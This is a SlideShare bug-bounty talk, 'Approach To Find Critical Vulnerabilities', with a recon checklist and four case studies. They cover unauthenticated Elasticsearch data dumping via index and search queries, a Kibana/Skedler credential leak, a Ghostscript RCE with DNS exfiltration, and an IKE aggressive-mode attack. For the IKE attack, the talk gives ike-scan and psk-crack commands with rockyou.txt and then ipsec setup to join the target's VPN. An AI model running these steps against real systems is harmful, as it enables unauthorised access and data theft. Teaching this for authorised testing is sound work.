SlideShare a Scribd company logo
1 of 21
Download to read offline
Approach To Find
Critical
Vulnerabilities
By Ashish Kunwar and Subhajit Saha
$~ What are we going to talk about?
● Approach
● Real world examples (REPORTS)
● Q/A
$~ WHOAMI
Subhajit Saha
~ Intern @ Signzy
~ Author of “ An approach to enhance the privacy in TOR network ”.
~ Recent CVE -> CVE-2020-13093
~ Doing BugBounties , Red Teaming ,OSINT,Open-Source Contributor.
~ @subhajitsaha0x , subhajitsaha.com
$~ WHOAMI
Ashish Kunwar
~ Independent Security Researcher
~ Web Application Pentester
~ I FUZZ binaries for fun (nano,giffdiff, etc)
~ Recent CVE -> CVE-2020-13093 (ispy cam. software)
~ 0day guy > ((Reacted) Proxy manager) and other issues in testlink and in a
software similar to SAP.
~ social media - @D0rkerDevil
$~ Approach
● Content Discovery.
● Look out for specific ports like 445 , 2222 (ssl-ssh,direct admin panel), 9200(elastic search),
3306 (mariadb,mysql) etc.
● Lookout for the empty directories like /tmp/ etc.
● Don’t ignore for status code 301, 302, 404
● Google is your best friend.
● Look at github for credentials.
● Look at Pastebin Pastes.
● Shodan is a gold mine.
● Make automated recon your habit , this makes things easier.
$~ Real World Examples(Reports)
1. Unauthenticated Elastic-search takeover and sensitive info
disclosure.
2. Unauthenticated kibana elasticsearch internal credential leakage
vulnerability.
3. SSRF TO RCE /GHOST SCRIPT RCE.
4. IKE Aggressive Mode Shared Secret Hash Leakage Weakness.
$~1. Unauthenticated Elastic-Search takeover and sensitive info
disclosure
RECON > PORTS > 9200
Found Elastic Search service running on the server.
Open > http://test.com:9200/
Response :
{ "name" : "4yVDh0x", "cluster_name" : "docker-cluster", "cluster_uuid" : "xxxxxxxxxxxxxxLA",
"version" : { "number" : "6.x.x", "build_flavor" : "default", "build_type" : "tar", "build_hash" :
"xxxxxx9", "build_date" : "20xx-0x-06T15:1x:2x.864148Z", "build_snapshot" : false,
"lucene_version" : "7.x.x", "minimum_wire_compatibility_version" : "5.x.0",
"minimum_index_compatibility_version" : "x.0.0" }, "tagline" : "You Know, for Search"}
$~ Continue -
Look for Indices
/_cat/indices?v
Example : GET /_cat/indices/twi*?v&s=index
You can also search for specific data like email or username , phone number etc.
$~ Continue
/_all/_search?q=email
This can fetch emails only or anything that matches with the email.
“This Landed us on 4 digit bounty”
Conclusion ~
Always read documentation and related posts.
$~ unauthenticated kibana elasticsearch internal credential
leakage vulnerability
RECON > PORT 3000 > KIBANA INSTANCE >
http://subdomain.example.com:3000/skedler/login
So they are using the skedler reports > looked at page source > found /home
Fired up burp and intercepted the request the /home was making accepting post request
{"OEM":{},"size":1,"shieldPlugin":{}}
$~ Continue
Response ~
“This landed us in a good bounty”
$~3. SSRF TO RCE (Ghost Script RCE)
Common file upload test > test for profile image upload >
● Uploaded a png file and looked at the output .png file.
● After analysing the source of the image file it was found that an interesting string
“EXtdate:modify” resided in it. It was observed that the server converted pictures
with “ImageMagick”/”GraphicksMagick” but did not add the -strip command line
option. Therefore now the converted image now has the plaintext tEXtdate: create.
● Along with this, EXtdate: modify and timestamps are usually included in the png files.
$~ Continue
After look at that info. And doing a quick google told me that the
endpoint it running the imagemagick.
Since, i tried with alot of imagemagick payloads , none worked
but the ghostscript in particular worked , and was time based.
So I tested with ghostscript payload and it worked.
$~ Continue
Therefore i was able to exfiltrate the data over DNS using burp collaborator.
And read the /etc/passwd for poc.
$~ 4. IKE Aggressive Mode Shared Secret Hash Leakage Weakness
RECON > PORT 500 UDP > skmp
Or isakmp > IKE/IPSEC > vpn
<ip>:500
Exploitation -
Download ikeprobe
ikeprobe.exe <ip>
Found vulnerable
$~ Continue
● Now next step is to get the hash from the IKE handshake and then try cracking
the SHA1 hash.
● Now we are gonna dump the hash from handshake to ike-hash file
ike-scan -M -A -Pike-hash -d 500 <ip>
● Now check if you have got the hash
● Cat ike-hash
$~ Continue
● Now we are going to bruteforce the hash (you will need the
username/password list) for example rockyou.txt file
● We will use psk-crack using command
● Sudo psk-crack -d rockyou.txt ike-hash
● Now once you successfully crack the password you can use the
credentials to connect to the server using the vpn , for that
● Edit /etc/ipsec.secrets and replace ENTER_PSK_HERE with
<password>
$~ Continue
● And now just save it and restart/start the services
● /etc/init.d/ipsec restart
● /etc/init.d/xl2tpd start
● And now run the ipsec to connect
● ipsec auto –up vpn
QnA
Thank You
Mail to: hey@subhajitsaha.com
https://twitter.com/subhajitsaha0x
https://twitter.com/D0rkerDevil
https://subhajitsaha.com/
https://medium.com/@D0rkerDevil/

More Related Content

What's hot

Realtime Communication Techniques with PHP
Realtime Communication Techniques with PHPRealtime Communication Techniques with PHP
Realtime Communication Techniques with PHP
WaterSpout
 

What's hot (20)

Using Logstash, elasticsearch & kibana
Using Logstash, elasticsearch & kibanaUsing Logstash, elasticsearch & kibana
Using Logstash, elasticsearch & kibana
 
Pydata-Python tools for webscraping
Pydata-Python tools for webscrapingPydata-Python tools for webscraping
Pydata-Python tools for webscraping
 
I See You
I See YouI See You
I See You
 
rtwerewr
rtwerewrrtwerewr
rtwerewr
 
Security and Privacy on the Web in 2016
Security and Privacy on the Web in 2016Security and Privacy on the Web in 2016
Security and Privacy on the Web in 2016
 
Security and Privacy on the Web in 2015
Security and Privacy on the Web in 2015Security and Privacy on the Web in 2015
Security and Privacy on the Web in 2015
 
Hack the box open admin writeup
Hack the box open admin writeupHack the box open admin writeup
Hack the box open admin writeup
 
Realtime Communication Techniques with PHP
Realtime Communication Techniques with PHPRealtime Communication Techniques with PHP
Realtime Communication Techniques with PHP
 
Unsecuring SSH
Unsecuring SSHUnsecuring SSH
Unsecuring SSH
 
'Malware Analysis' by PP Singh
'Malware Analysis' by PP Singh'Malware Analysis' by PP Singh
'Malware Analysis' by PP Singh
 
Attacking Big Data Land
Attacking Big Data LandAttacking Big Data Land
Attacking Big Data Land
 
HARDENING IN APACHE WEB SERVER
HARDENING IN APACHE WEB SERVERHARDENING IN APACHE WEB SERVER
HARDENING IN APACHE WEB SERVER
 
Windows Azure Visual Studio "Monaco"", Because it’s mundane
Windows Azure Visual Studio "Monaco"", Because it’s mundaneWindows Azure Visual Studio "Monaco"", Because it’s mundane
Windows Azure Visual Studio "Monaco"", Because it’s mundane
 
Summer of Fuzz: macOS
Summer of Fuzz: macOSSummer of Fuzz: macOS
Summer of Fuzz: macOS
 
Hiding in plain sight
Hiding in plain sightHiding in plain sight
Hiding in plain sight
 
JWT: jku x5u
JWT: jku x5uJWT: jku x5u
JWT: jku x5u
 
HTTPS, Here and Now
HTTPS, Here and NowHTTPS, Here and Now
HTTPS, Here and Now
 
Reversing Engineering a Web Application - For fun, behavior and detection
Reversing Engineering a Web Application - For fun, behavior and detectionReversing Engineering a Web Application - For fun, behavior and detection
Reversing Engineering a Web Application - For fun, behavior and detection
 
Nginx + PHP
Nginx + PHPNginx + PHP
Nginx + PHP
 
Nginx-lua
Nginx-luaNginx-lua
Nginx-lua
 

Similar to Approach to find critical vulnerabilities

Intravert Server side processing for Cassandra
Intravert Server side processing for CassandraIntravert Server side processing for Cassandra
Intravert Server side processing for Cassandra
Edward Capriolo
 
Upping the APT hunting game: learn the best YARA practices from Kaspersky
Upping the APT hunting game: learn the best YARA practices from KasperskyUpping the APT hunting game: learn the best YARA practices from Kaspersky
Upping the APT hunting game: learn the best YARA practices from Kaspersky
Kaspersky
 
Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - Routers
Logicaltrust pl
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routers
Yury Chemerkin
 

Similar to Approach to find critical vulnerabilities (20)

Monitor Your Business
Monitor Your BusinessMonitor Your Business
Monitor Your Business
 
Nmap scripting engine
Nmap scripting engineNmap scripting engine
Nmap scripting engine
 
Intravert Server side processing for Cassandra
Intravert Server side processing for CassandraIntravert Server side processing for Cassandra
Intravert Server side processing for Cassandra
 
NYC* 2013 - "Advanced Data Processing: Beyond Queries and Slices"
NYC* 2013 - "Advanced Data Processing: Beyond Queries and Slices"NYC* 2013 - "Advanced Data Processing: Beyond Queries and Slices"
NYC* 2013 - "Advanced Data Processing: Beyond Queries and Slices"
 
Seven perilous pitfalls to avoid with Java | DevNation Tech Talk
Seven perilous pitfalls to avoid with Java | DevNation Tech TalkSeven perilous pitfalls to avoid with Java | DevNation Tech Talk
Seven perilous pitfalls to avoid with Java | DevNation Tech Talk
 
Laura Garcia - Shodan API and Coding Skills [rooted2019]
Laura Garcia - Shodan API and Coding Skills [rooted2019]Laura Garcia - Shodan API and Coding Skills [rooted2019]
Laura Garcia - Shodan API and Coding Skills [rooted2019]
 
How to automate all your SEO projects
How to automate all your SEO projectsHow to automate all your SEO projects
How to automate all your SEO projects
 
Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodology
 
Null Bachaav - May 07 Attack Monitoring workshop.
Null Bachaav - May 07 Attack Monitoring workshop.Null Bachaav - May 07 Attack Monitoring workshop.
Null Bachaav - May 07 Attack Monitoring workshop.
 
Sensu wrapper-sensu-summit
Sensu wrapper-sensu-summitSensu wrapper-sensu-summit
Sensu wrapper-sensu-summit
 
Securing TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography APISecuring TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography API
 
How to Begin Developing Ruby Core
How to Begin Developing Ruby CoreHow to Begin Developing Ruby Core
How to Begin Developing Ruby Core
 
Logstash
LogstashLogstash
Logstash
 
DSLs in JavaScript
DSLs in JavaScriptDSLs in JavaScript
DSLs in JavaScript
 
Learning the basics of Apache NiFi for iot OSS Europe 2020
Learning the basics of Apache NiFi for iot OSS Europe 2020Learning the basics of Apache NiFi for iot OSS Europe 2020
Learning the basics of Apache NiFi for iot OSS Europe 2020
 
Upping the APT hunting game: learn the best YARA practices from Kaspersky
Upping the APT hunting game: learn the best YARA practices from KasperskyUpping the APT hunting game: learn the best YARA practices from Kaspersky
Upping the APT hunting game: learn the best YARA practices from Kaspersky
 
Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - Routers
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routers
 
Who pulls the strings?
Who pulls the strings?Who pulls the strings?
Who pulls the strings?
 
libuv, NodeJS and everything in between
libuv, NodeJS and everything in betweenlibuv, NodeJS and everything in between
libuv, NodeJS and everything in between
 

Recently uploaded

Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
vu2urc
 

Recently uploaded (20)

🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Tech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdfTech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdf
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 

Approach to find critical vulnerabilities

  • 1. Approach To Find Critical Vulnerabilities By Ashish Kunwar and Subhajit Saha
  • 2. $~ What are we going to talk about? ● Approach ● Real world examples (REPORTS) ● Q/A
  • 3. $~ WHOAMI Subhajit Saha ~ Intern @ Signzy ~ Author of “ An approach to enhance the privacy in TOR network ”. ~ Recent CVE -> CVE-2020-13093 ~ Doing BugBounties , Red Teaming ,OSINT,Open-Source Contributor. ~ @subhajitsaha0x , subhajitsaha.com
  • 4. $~ WHOAMI Ashish Kunwar ~ Independent Security Researcher ~ Web Application Pentester ~ I FUZZ binaries for fun (nano,giffdiff, etc) ~ Recent CVE -> CVE-2020-13093 (ispy cam. software) ~ 0day guy > ((Reacted) Proxy manager) and other issues in testlink and in a software similar to SAP. ~ social media - @D0rkerDevil
  • 5. $~ Approach ● Content Discovery. ● Look out for specific ports like 445 , 2222 (ssl-ssh,direct admin panel), 9200(elastic search), 3306 (mariadb,mysql) etc. ● Lookout for the empty directories like /tmp/ etc. ● Don’t ignore for status code 301, 302, 404 ● Google is your best friend. ● Look at github for credentials. ● Look at Pastebin Pastes. ● Shodan is a gold mine. ● Make automated recon your habit , this makes things easier.
  • 6. $~ Real World Examples(Reports) 1. Unauthenticated Elastic-search takeover and sensitive info disclosure. 2. Unauthenticated kibana elasticsearch internal credential leakage vulnerability. 3. SSRF TO RCE /GHOST SCRIPT RCE. 4. IKE Aggressive Mode Shared Secret Hash Leakage Weakness.
  • 7. $~1. Unauthenticated Elastic-Search takeover and sensitive info disclosure RECON > PORTS > 9200 Found Elastic Search service running on the server. Open > http://test.com:9200/ Response : { "name" : "4yVDh0x", "cluster_name" : "docker-cluster", "cluster_uuid" : "xxxxxxxxxxxxxxLA", "version" : { "number" : "6.x.x", "build_flavor" : "default", "build_type" : "tar", "build_hash" : "xxxxxx9", "build_date" : "20xx-0x-06T15:1x:2x.864148Z", "build_snapshot" : false, "lucene_version" : "7.x.x", "minimum_wire_compatibility_version" : "5.x.0", "minimum_index_compatibility_version" : "x.0.0" }, "tagline" : "You Know, for Search"}
  • 8. $~ Continue - Look for Indices /_cat/indices?v Example : GET /_cat/indices/twi*?v&s=index You can also search for specific data like email or username , phone number etc.
  • 9. $~ Continue /_all/_search?q=email This can fetch emails only or anything that matches with the email. “This Landed us on 4 digit bounty” Conclusion ~ Always read documentation and related posts.
  • 10. $~ unauthenticated kibana elasticsearch internal credential leakage vulnerability RECON > PORT 3000 > KIBANA INSTANCE > http://subdomain.example.com:3000/skedler/login So they are using the skedler reports > looked at page source > found /home Fired up burp and intercepted the request the /home was making accepting post request {"OEM":{},"size":1,"shieldPlugin":{}}
  • 11. $~ Continue Response ~ “This landed us in a good bounty”
  • 12. $~3. SSRF TO RCE (Ghost Script RCE) Common file upload test > test for profile image upload > ● Uploaded a png file and looked at the output .png file. ● After analysing the source of the image file it was found that an interesting string “EXtdate:modify” resided in it. It was observed that the server converted pictures with “ImageMagick”/”GraphicksMagick” but did not add the -strip command line option. Therefore now the converted image now has the plaintext tEXtdate: create. ● Along with this, EXtdate: modify and timestamps are usually included in the png files.
  • 13. $~ Continue After look at that info. And doing a quick google told me that the endpoint it running the imagemagick. Since, i tried with alot of imagemagick payloads , none worked but the ghostscript in particular worked , and was time based. So I tested with ghostscript payload and it worked.
  • 14. $~ Continue Therefore i was able to exfiltrate the data over DNS using burp collaborator. And read the /etc/passwd for poc.
  • 15.
  • 16. $~ 4. IKE Aggressive Mode Shared Secret Hash Leakage Weakness RECON > PORT 500 UDP > skmp Or isakmp > IKE/IPSEC > vpn <ip>:500 Exploitation - Download ikeprobe ikeprobe.exe <ip> Found vulnerable
  • 17. $~ Continue ● Now next step is to get the hash from the IKE handshake and then try cracking the SHA1 hash. ● Now we are gonna dump the hash from handshake to ike-hash file ike-scan -M -A -Pike-hash -d 500 <ip> ● Now check if you have got the hash ● Cat ike-hash
  • 18. $~ Continue ● Now we are going to bruteforce the hash (you will need the username/password list) for example rockyou.txt file ● We will use psk-crack using command ● Sudo psk-crack -d rockyou.txt ike-hash ● Now once you successfully crack the password you can use the credentials to connect to the server using the vpn , for that ● Edit /etc/ipsec.secrets and replace ENTER_PSK_HERE with <password>
  • 19. $~ Continue ● And now just save it and restart/start the services ● /etc/init.d/ipsec restart ● /etc/init.d/xl2tpd start ● And now run the ipsec to connect ● ipsec auto –up vpn
  • 20. QnA
  • 21. Thank You Mail to: hey@subhajitsaha.com https://twitter.com/subhajitsaha0x https://twitter.com/D0rkerDevil https://subhajitsaha.com/ https://medium.com/@D0rkerDevil/